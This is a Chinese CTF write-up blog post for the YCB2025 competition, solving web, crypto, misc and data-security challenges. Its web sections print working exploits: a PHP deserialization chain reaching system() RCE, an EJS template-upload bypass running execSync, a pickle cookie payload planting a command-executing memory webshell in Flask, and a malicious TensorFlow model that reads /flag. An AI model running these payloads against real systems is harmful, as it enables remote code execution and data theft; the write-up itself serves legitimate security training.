4555 words
23 minutes
YCB2025

Web#

ez_unserialize#

思路:

  1. H::__destruct(): 脚本结束时自动触发。它调用 $this->who->start()
    • 构造: 创建一个 H 对象,并将其 $who 属性设置为一个 A 类的对象。
  2. A::start(): 被上一步调用。它执行 echo $this->next;,这将触发 $next 对象的 __toString() 方法。
    • 构造: 将 A 对象的 $next 属性设置为一个 V 类的对象。
  3. V::__toString(): 被上一步调用。它执行 $this->go->$abc; (其中 $abc = $this->dowhat)。为了触发 E::__get(),我们需要让它尝试访问一个 E 对象的私有属性。
    • 构造: 将 V 对象的 $go 属性设置为一个 E 类的对象,并将其 $dowhat 属性设置为字符串 "secret"
  4. E::__get(): 当 V 尝试访问 E 的私有属性 secret 时被触发。代码检查 $name 是否为 "secret",如果是,则调用 $this->found->check()
    • 构造: 将 E 对象的 $found 属性设置为一个 F 类的对象。
  5. F::check(): 被上一步调用。它会 new $this->finalstep() 并调用 __invoke()。我们的目标是实例化 U 类。
    • 关键绕过: 这里有 preg_match("/U/", ...) 检查。由于 PHP 的类名不区分大小写,我们可以将 $finalstep 设置为小写的 "u" 来绕过这个检查。new "u"() 依然会成功创建 U 类的实例。
    • 构造: 将 F 对象的 $finalstep 属性设置为字符串 "u"
  6. U::__invoke(): 当 F 类中的新对象被 () 调用时触发,最终执行 system($_POST['cmd']),达成 RCE。
<?php
// 声明所有需要用到的类
class A {
public $first;
public $step;
public $next;
}
class E {
public $found;
private $you;
private $secret;
}
class F {
public $fifth;
public $step;
public $finalstep;
}
class H {
public $who;
public $are;
public $you;
}
class V {
public $good;
public $keep;
public $dowhat;
public $go;
}
// N 和 U 类在服务器端被调用,payload中不需要它们的实例
class N {}
class U {}
// 1. 创建链条中的所有对象实例
$h = new H();
$a = new A();
$v = new V();
$e = new E();
$f = new F();
// 2. 按照攻击链设置对象的属性
$h->who = $a;
$a->next = $v;
$v->go = $e;
$v->dowhat = "secret"; // 触发 E::__get("secret")
$e->found = $f;
$f->finalstep = "u"; // 大小写绕过 preg_match
// 3. 序列化顶层对象并进行 URL 编码
$payload = serialize($h);
echo "Your Payload:\n\n";
echo urlencode($payload);
?>
Terminal window
curl -X POST \
-d 'payload=PAYLOAD_STRING' \
-d 'cmd=ls -la /' \
http://target.com/challenge.php

staticNodeService#

  • 目录索引渲染函数允许通过 templ 参数指定模板名并调用 res.render(templ, ...)

  • 静态文件服务:express.static(STATIC_DIR)

  • 安全中间件仅检查 req.path

    • 阻止了 ..(目录穿越)
    • 阻止了以 js 结尾的路径(/js$/),企图防止 .ejs(字符串最后两字节是 js)的写入
  • 上传接口:PUT /* 可以将 req.body.content(base64)写入到 STATIC_DIR + req.path 指定的任意路径。

  • 模板名 templ 完全由用户控制并传入 res.render,若能在 views 目录中放置恶意 EJS 模板,即可在渲染时执行任意 JS。

  • 上传接口允许向任意路径写入;但安全中间件阻止了 req.pathjs 结尾,导致直接写入 *.ejs 会被拒绝。

  • 结合路径归一化与客户端路径传递策略,可以在服务端“落地一个真正的 .ejs 文件”,随后通过 templ 正常渲染,从而 RCE 并读取 /flag

  1. 构造恶意 EJS 模板(读取 flag):
<%- global.process.mainModule.require('child_process').execSync('/readflag').toString() %>

将其进行 base64 编码(示例用 Python):

Terminal window
python3 - <<'PY'
import base64
payload = "<%- global.process.mainModule.require('child_process').execSync('/readflag').toString() %>"
print(base64.b64encode(payload.encode()).decode())
PY

示例输出(缩写):

PCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKS50b1N0cmluZygpICU+
  1. 利用路径构造与 --path-as-is,将恶意模板写入为真 .ejs 文件:
Terminal window
curl --path-as-is -i -s -X PUT 'http://45.40.247.139:22915/views/read.ejs/.' \
-H 'Content-Type: application/json' \
--data '{"content":"PCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKS50b1N0cmluZygpICU+"}'

预期返回:201 Created(文件已写入)。随后访问 /views/ 可见 read.ejs(不带尾点)。

  1. 触发渲染并回显 flag:
Terminal window
curl -s 'http://45.40.247.139:22915/views/?templ=read.ejs'

EZ Blog#

  1. 初始访问与信息搜集

首先,我们访问博客首页。根据页面上的提示信息“访客只能用访客账号登录哦!”,我们可以尝试常见的弱口令组合。

  • 用户名: guest
  • 密码: guest

使用这组凭证成功登录系统。登录后,我们检查浏览器存储的 Cookies,发现一个名为 Token 的 Cookie,其值非常可疑:

Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e
  1. 漏洞分析:Python 反序列化

这串看似随机的字符串实际上是十六进制编码的。我们对其进行 Hex 解码,得到的结果是以 \x80\x04 开头的字节流,这是 Python pickle 模块序列化数据的典型特征(协议版本4)。

我们可以通过简单的 Python 脚本来验证其内容:

import pickle
import binascii
hex_cookie = "8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e"
decoded_cookie = binascii.unhexlify(hex_cookie)
# 为了能成功反序列化,需要定义一个占位符类
class User:
pass
# 还需要告诉 pickle User 类在哪个模块下
import sys
sys.modules['app'] = sys.modules['__main__']
deserialized_object = pickle.loads(decoded_cookie)
print(deserialized_object.__dict__)

输出结果为:

{'id': 2, 'username': 'guest', 'is_admin': False, 'logged_in': True}

这证实了我们的猜想:服务器通过反序列化 Cookie 来验证用户身份,并且存在明显的 Python 反序列化漏洞

  1. 漏洞利用:注入内存马

由于题目环境不出网,我们无法使用反弹 Shell。因此,最佳策略是注入一个内存马,在服务器应用内部创建一个后门。

一个巧妙的思路是劫持 Flask 应用的 404 错误处理器。当用户访问任何不存在的页面时,我们的恶意代码就会被触发。

以下是用于生成恶意 Payload 的 Python 脚本:

import os
import pickle
import binascii
from flask import request # 模拟导入,实际在服务器上运行
# 定义恶意类,其 __reduce__ 方法将在反序列化时被调用
class Exploit:
def __reduce__(self):
# 这段代码会找到并替换 Flask 应用的 404 错误处理器
# 新的处理器会执行 URL 参数 `cmd` 传入的命令
command = (
"global app, request; "
"exc_class, code = app._get_exc_class_and_code(404); "
"app.error_handler_spec[None][code][exc_class] = "
"lambda e: __import__('os').popen(request.args.get('cmd')).read()"
)
return (exec, (command,))
# 实例化恶意类
payload_obj = Exploit()
# 序列化并进行 hex 编码
pickled_data = pickle.dumps(payload_obj)
hex_payload = binascii.hexlify(pickled_data).decode()
print("请将以下 Payload 替换到你的 Token Cookie 中:")
print(hex_payload)
  1. 触发 Payload 并获取 RCE

  2. 运行上述脚本,复制生成的十六进制 Payload。

  3. 在浏览器开发者工具中,将 Token Cookie 的值替换为这个新的 Payload。

  4. 访问 /add 页面。这是一个需要身份验证的页面,因此服务器会尝试反序列化我们的 Cookie,从而触发 __reduce__ 方法,成功注入内存马。此时页面可能会报错,这是正常现象。

  5. 内存马注入成功后,我们就可以通过访问任意不存在的页面来执行命令了。

http://<题目地址>/404?cmd=ls

Crypto#

Random#

设存在连续三位为 0 的比特(靠近序列尾部较易出现):

令对应的三个密文为

  • c1 = y^2 (mod n)
  • c2 = (y + d1)^2 (mod n)
  • c3 = (y + d1 + d2)^2 (mod n)

其中 d1, d2 都是不超过 2^48 的小整数。

记差值:

  • a = (c2 - c1) mod n = 2*y*d1 + d1^2 (mod n)
  • b = (c3 - c1) mod n = 2*y*(d1 + d2) + (d1 + d2)^2 (mod n)

消去未知 y 可以得到关于 d1, d2 的方程: (a - d_1^2) (d_1 + d_2) - d_1 \big(b - (d_1 + d_2)^2\big) \equiv 0 \pmod{n}

由于 d1, d2 很小(上界约 2^48),可将其视为“多变量小根”,使用 Coppersmith 方法在模 n 的多项式环中寻找小根 (d1, d2)

一旦得到 d1,即可恢复 y: 2yd_1 + d_1^2 \equiv a \pmod{n} \quad\Rightarrow\quad y \equiv (a - d_1^2) \cdot (2d_1)^{-1} \pmod{n}

之后,继续向前逐位判断下一位是 0 还是 1:

  • 假设下一位是 0:尝试解一元小根 (y - d)^2 \equiv c_{next} (mod\ n),若存在小根 d(界 2^48),则确认为 0,并更新 y ← y - d
  • 若无解,则该位为 1。此时 (y - d)^2 \equiv c_{next} * x^{-1} (mod\ n),再求小根并更新 y

这样即可依次恢复整段比特串,进而转为字节得到明文。


from sage.all import *
import itertools
import ast
from Crypto.Util.number import long_to_bytes
def small_roots_multivariate(f, bounds, m=2, d=None):
"""
Multivariate Coppersmith small roots, adapted from the approach in the writeup.
f: polynomial over Zmod(N) in multiple variables
bounds: tuple of bounds (B1, B2, ...)
m: lattice parameter (default 2)
d: degree parameter (default: total degree of f)
Returns list of tuples (r1, r2, ...) in Zmod(N) representing small roots.
"""
if d is None:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
# Normalize leading coefficient
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m + 1):
base = (N ** (m - i)) * (f ** i)
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod([v**s for v, s in zip(f.variables(), shifts)])
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
# Scale columns by bounds
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
tup = tuple(R(root[var]) for var in f.variables())
roots.append(tup)
if roots:
return roots
return []
def find_initial_y(n, x, enc, max_scan=32):
"""
Try to locate a valid (d1, d2, y) near the end of enc by scanning windows
of three consecutive ciphertexts assuming three consecutive 0-bits.
Returns (y, d1_int, offset) where offset >= 0 indicates the shift from the last window.
"""
for offset in range(0, min(max_scan, len(enc) - 3)):
# We use enc[-(offset+4)], enc[-(offset+3)], enc[-(offset+2)] as c1, c2, c3
c1 = enc[-(offset + 4)]
c2 = enc[-(offset + 3)]
c3 = enc[-(offset + 2)]
a = (c2 - c1) % n
b = (c3 - c1) % n
R = PolynomialRing(Zmod(n), names=("d1", "d2"), implementation='generic')
d1_sym, d2_sym = R.gens()
f = (a - d1_sym**2) * (d1_sym + d2_sym) - d1_sym * (b - (d1_sym + d2_sym)**2)
res = small_roots_multivariate(f, (2**48, 2**48), m=2, d=3)
if not res:
continue
# Filter candidates: d1 != 0 and invertible modulo n, and y verifies c1
for (d1_val, d2_val) in res:
d1_int = int(d1_val)
if d1_int == 0:
continue
if gcd(2 * d1_int, n) != 1:
continue
try:
y = ((a - pow(d1_int, 2, n)) * inverse_mod(2 * d1_int, n)) % n
except ZeroDivisionError:
continue
if pow(y, 2, n) == c1:
return y, d1_int, offset
# If none candidate passes, continue scanning
raise ValueError("Failed to locate a valid initial (d1, d2, y). Try increasing max_scan or check assumptions.")
def recover(n, x, enc):
# Locate initial y based on three consecutive 0-bits near the end
y, d1_int, offset = find_initial_y(n, x, enc)
# Determine the bit right before the triple zeros (optional); we'll follow the original writeup flow
# Build bitstring starting from the assumed pattern; we keep '1000' as in writeup for compatibility
m_bits = '1000'
for i in range(4 + offset, len(enc)):
R1 = PolynomialRing(Zmod(n), names=("d",))
d = R1.gens()[0]
# Try next bit as 0 first
f0 = (y - d)**2 - enc[-(i+1)]
roots0 = f0.monic().small_roots(X=2**48)
if roots0:
m_bits += '0'
y = (y - int(roots0[0])) % n
else:
# Otherwise, treat as bit 1
m_bits += '1'
f1 = (y - d)**2 - (enc[-(i+1)] * inverse_mod(x, n))
roots1 = f1.monic().small_roots(X=2**48)
if not roots1:
raise ValueError("Failed to find small root for next step; check assumptions or data.")
y = (y - int(roots1[0])) % n
m_int = int(m_bits, 2)
m_bytes = long_to_bytes(m_int)
return m_bytes, m_bits
def parse_output(path):
with open(path, 'r') as f:
lines = f.read().strip().splitlines()
# Expecting format:
# n = <int>
# x = <int>
# enc = [list]
n = int(lines[0].split('=', 1)[1].strip())
x = int(lines[1].split('=', 1)[1].strip())
enc_str = lines[2].split('=', 1)[1].strip()
enc = ast.literal_eval(enc_str)
return n, x, enc
def main():
n, x, enc = parse_output('output.txt')
m_bytes, m_bits = recover(n, x, enc)
print("Recovered bits:", m_bits)
print("Recovered message:", m_bytes)
if __name__ == '__main__':
main()

主要函数逻辑:

多变量小根 small_roots_multivariate(f, bounds, m, d):构造格并 LLL 简化,提取多项式组合,求解 0 维理想的整数解,返回模 n 中的根。

初始化定位 find_initial_y(n, x, enc, max_scan)

  • 在密文末尾附近扫描窗口,假设存在三连 0bit;
  • 对每个窗口用上面的二元方程求 (d1, d2) 小根;
  • 过滤无效候选:d1 = 0gcd(2*d1, n) ≠ 1(意味 (2*d1)n 不可逆);
  • 计算 y 并验证 y^2 ≡ c1 (mod n),找到可信初始 (y, d1) 与窗口偏移 offset

恢复过程 recover(n, x, enc)

  • 先调用 find_initial_y 获取稳健的初始状态;
  • 从对应位置开始逐位尝试一元小根,拼接比特串;
  • 将比特串转为字节输出。

该实现解决了常见的失败场景:直接用最后三位假设为 0 时,可能出现 inverse_mod(2*d1, n) 不存在(模 n 下非单位),通过窗口扫描与 gcd 过滤确保 (2*d1) 可逆后再恢复 y

Ridiculous LFSR#

  • m 的汉明重量固定为 w(旋转不改变重量)。
  • 每轮得到 temp_i,其重量已知为 l[i]
  • 输出 c_i = temp_i XOR rotate^i(m),其重量(可由位计数得到)记为 weight(c_i)

对任意两个比特向量 x, y 有重量恒等式:

weight(x XOR y) = weight(x) + weight(y) - 2 * overlap1(x, y)

其中 overlap1(x, y) 为同时为 1 的位置数(也可视为按位与后 1 的数量)。套用到本题:

weight(c_i) = l[i] + w - 2 * dot_i

因此:

w = weight(c_i) - l[i] + 2 * dot_i

关键是如何用 c_i 和未知的 m 来表达 dot_i = overlap1(temp_i, rotate^i(m))。注意:

  • c_i[k] = 0 时,说明 temp_i[k] == rotate^i(m)[k]
  • 若此时 rotate^i(m)[k] = 1,则必有 temp_i[k] = 1,也就计入了 dot_i。 于是可得:
dot_i = # { k | c_i[k] = 0 且 rotate^i(m)[k] = 1 }

这使得 dot_i 可以直接由 c_i 的零位与 m 的比特(经相应旋转的索引映射)线性表示。

在中,使用 OR-Tools 的 CP-SAT 建模:

  • 变量:m_vars[0..n-1] ∈ {0,1} 表示 flag 的比特(与题目一致为 MSB-first),w_var ∈ [0,n] 表示重量。
  • 对每一轮 i,构造 dot_i = sum_k a_{i,k} * m_k,其中 a_{i,k} = 1 当且仅当 c_i[(k - i) % n] == 0(这对应 c_i 的零位与旋转索引的匹配)。
  • 加入约束:w_var == weight(c_i) - l[i] + 2 * dot_i
  • rotate 的索引映射在约束中体现为 (k - i) % n
  • 求解后从比特构造出 m,并转为字节与字符串(必要时回退到 hex)。
import os
import ast
from ortools.sat.python import cp_model
def parse_output(file_path):
with open(file_path, "r") as f:
lines = f.read().strip().splitlines()
# Parse LENGTH
assert lines[0].startswith("LENGTH = ")
LENGTH = int(lines[0].split("=")[1].strip())
# Parse c and l using ast.literal_eval for safety
assert lines[1].startswith("c = ")
c_str = lines[1].split("=", 1)[1].strip()
c_list = ast.literal_eval(c_str)
assert lines[2].startswith("l = ")
l_str = lines[2].split("=", 1)[1].strip()
l_list = ast.literal_eval(l_str)
return LENGTH, c_list, l_list
def int_to_bits(x, n):
s = bin(x)[2:].zfill(n)
return [int(ch) for ch in s]
def solve_flag(output_path):
LENGTH, c_list, l_list = parse_output(output_path)
n = LENGTH
m_count = len(c_list)
# Precompute c bits and weights
c_bits = [int_to_bits(ci, n) for ci in c_list]
c_weights = [sum(bits) for bits in c_bits]
model = cp_model.CpModel()
# Variables for m (original flag bits, MSB-first order as in task.py)
m_vars = [model.NewIntVar(0, 1, f"m_{k}") for k in range(n)]
# Constant Hamming weight of m across rotations
w_var = model.NewIntVar(0, n, "w")
dot_vars = []
for i in range(m_count):
d = model.NewIntVar(0, n, f"dot_{i}")
dot_vars.append(d)
# dot_i = sum_k a_i_k * m_k, where a_i_k = c_i[(k - i) % n]
terms = []
for k in range(n):
if c_bits[i][(k - i) % n] == 0:
terms.append(m_vars[k])
if terms:
model.Add(d == sum(terms))
else:
model.Add(d == 0)
# Constraint: w = l[i] + 2*dot_i - weight(c_i)
model.Add(w_var == c_weights[i] - l_list[i] + 2 * d)
# Solve
solver = cp_model.CpSolver()
solver.parameters.max_time_in_seconds = 60.0
solver.parameters.num_search_workers = 8
status = solver.Solve(model)
if status not in (cp_model.OPTIMAL, cp_model.FEASIBLE):
raise RuntimeError("No feasible solution found by CP-SAT.")
m_bits = [solver.Value(v) for v in m_vars]
w_val = solver.Value(w_var)
# Build integer from bits (MSB-first)
bit_str = "".join(str(b) for b in m_bits)
m_int = int(bit_str, 2)
# Convert to bytes (minimal length sufficient for bit-length)
byte_len = (n + 7) // 8
inner_bytes = m_int.to_bytes(byte_len, byteorder="big")
# Strip leading zero bytes that may arise from bit-length vs byte boundary
inner_bytes = inner_bytes.lstrip(b"\x00")
try:
inner_text = inner_bytes.decode("utf-8")
except Exception:
# Fallback to latin-1 if utf-8 fails
try:
inner_text = inner_bytes.decode("latin-1")
except Exception:
inner_text = inner_bytes.hex()
full_flag = f"DASCTF{{{inner_text}}}"
print(f"Recovered LENGTH: {n}")
print(f"Recovered weight(m): {w_val}")
print(f"Recovered inner bytes (hex): {inner_bytes.hex()}")
print(f"Recovered inner text: {inner_text}")
print(f"Flag: {full_flag}")
if __name__ == "__main__":
# Assume running from the challenge directory; read local output.txt
script_dir = os.path.dirname(os.path.abspath(__file__))
output_path = os.path.join(script_dir, "output.txt")
solve_flag(output_path)

Reverse#

PLUS#

Msic#

成功男人背后的女人#

ps打开发现一个隐藏图层 发现很多男女标 男1女0

010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101

DS&Ai#

SM4-OFB#

表头为:序号、姓名、手机号、身份证号、IV。观察可知:

  • 姓名密文为 32 个 hex 字符(16 字节)
  • 手机号密文为 32 个 hex 字符(16 字节)
  • 身份证号密文为 64 个 hex 字符(32 字节)
  • IV 字段为 6162636465666768696a6b6c6d6e6f70,对应 ASCII 为 abcdefghijklmnop,所有行相同。

本题中,IV 对每一行每个字段都相同且固定,意味着每次加密都从同一个初始状态生成相同的密钥流序列(如果对每个字段都是同起点),因此可以通过第一条记录的已知明文分别恢复:

  • 姓名字段的 16 字节密钥流片段(KS_name)
  • 手机号字段的 16 字节密钥流片段(KS_phone)
  • 身份证号字段的 32 字节密钥流片段(KS_id)

注意:第一条记录的真实明文字节长度可能短于密文字节长度(例如姓名的 UTF-8 仅 9 字节),在流加密中,超出明文长度的密文字节等于密钥流字节(因为相当于明文的该部分是 0),因此将明文尾部按 0x00 填充到与密文等长即可完整恢复密钥流片段。

  1. 使用 openpyxl 读取 Excel,解析每一列的 hex 字符串为字节数据。
  2. 取第 2 行(第一条数据行)的“姓名/手机号/身份证号”密文,与题目给出的已知明文分别异或,得到 KS_name、KS_phone、KS_id。
  3. 遍历所有行,对对应字段的密文分别与已知密钥流片段异或,还原出明文;将末尾的 \x00 去除并用 UTF-8 解码。
  4. 在还原出的数据中查找姓名为“何浩璐”,对其身份证号做 MD5,作为题目要求的 flag。
from openpyxl import load_workbook
import hashlib
wb = load_workbook('个人信息表.xlsx', read_only=True, data_only=True)
ws = wb.active
rows = list(ws.iter_rows(values_only=True))
# 已知第一条数据行的明文
name0 = '蒋宏玲'.encode('utf-8')
phone0 = '17145949399'.encode('utf-8')
id0 = '220000197309078766'.encode('utf-8')
# 对应密文(第2行)
c_name = bytes.fromhex(rows[1][1])
c_phone = bytes.fromhex(rows[1][2])
c_id = bytes.fromhex(rows[1][3])
# 反推出三个字段各自的密钥流片段(不足部分按 0x00 填充)
ks_name = bytes(x ^ y for x, y in zip(c_name, name0 + b'\x00' * (len(c_name) - len(name0))))
ks_phone = bytes(x ^ y for x, y in zip(c_phone, phone0 + b'\x00' * (len(c_phone) - len(phone0))))
ks_id = bytes(x ^ y for x, y in zip(c_id, id0 + b'\x00' * (len(c_id) - len(id0))))
flag_md5 = None
for r in rows[1:]:
name = bytes(x ^ y for x, y in zip(bytes.fromhex(str(r[1])), ks_name)).rstrip(b'\x00').decode('utf-8')
phone = bytes(x ^ y for x, y in zip(bytes.fromhex(str(r[2])), ks_phone)).rstrip(b'\x00').decode('utf-8')
idnum = bytes(x ^ y for x, y in zip(bytes.fromhex(str(r[3])), ks_id)).rstrip(b'\x00').decode('utf-8')
if name == '何浩璐':
flag_md5 = hashlib.md5(idnum.encode('utf-8')).hexdigest()
break
print('FLAG:', flag_md5)

Mini-modelscope#

为了满足服务器代码对 .tolist() 的要求,我们必须返回一个数字数组。我们可以将读取到的 flag 文件内容(原始字节流)直接解码为一个 uint8 类型的整数向量。向量中的每个数字就是 flag 中对应字符的 ASCII/UTF-8 码。

最终 Payload:

import tensorflow as tf
import os
import shutil
class MaliciousModel(tf.Module):
def __init__(self):
super(MaliciousModel, self).__init__()
self.flag_path = tf.constant('/flag', dtype=tf.string)
@tf.function(input_signature=[tf.TensorSpec(shape=[1, 1], dtype=tf.float32)])
def serve(self, input_tensor):
# 步骤1: 读取文件的原始字节
raw_bytes = tf.io.read_file(self.flag_path)
# 步骤2: 将字节流解码为 uint8 整数向量
byte_vector = tf.io.decode_raw(raw_bytes, tf.uint8)
# 步骤3: 返回这个向量,它满足 .tolist() 的要求
return {'prediction': byte_vector}
# --- 保存并打包模型的代码 ---
model_dir = './malicious_model_final_vector'
zip_name = 'model'
if os.path.exists(model_dir): shutil.rmtree(model_dir)
if os.path.exists(f'{zip_name}.zip'): os.remove(f'{zip_name}.zip')
model = MaliciousModel()
tf.saved_model.save(model, model_dir, signatures={'serve': model.serve})
shutil.make_archive(zip_name, 'zip', model_dir)
shutil.rmtree(model_dir)
print(f"成功创建 '{zip_name}.zip'")

结果: 服务器成功执行并返回了预测结果!

预测结果: [68, 65, 83, 67, 84, 70, 123, 57, 55, 52, 49, 52, 55, 56, 48, 56, 48, 55, 52, 56, 49, 54, 56, 57, 54, 56, 52, 56, 53, 55, 50, 49, 57, 50, 49, 51, 51, 56, 57, 125, 10]

我们得到了 flag 的 ASCII 码数组。最后一步是将其转换回可读的字符串。

解码脚本:

flag_as_numbers = [
68, 65, 83, 67, 84, 70, 123, 57, 55, 52, 49, 52, 55, 56, 48, 56, 48,
55, 52, 56, 49, 54, 56, 57, 54, 56, 52, 56, 53, 55, 50, 49, 57, 50,
49, 51, 51, 56, 57, 125, 10
]
# 最后一个数字 10 是换行符,我们将其忽略
flag_string = "".join(map(chr, flag_as_numbers[:-1]))
print(flag_string)
YCB2025
https://return-sin.github.io/-sinQwQ-/posts/羊城杯2025/
Author
sinQwQ
Published at
2025-10-11
License
CC BY-NC-SA 4.0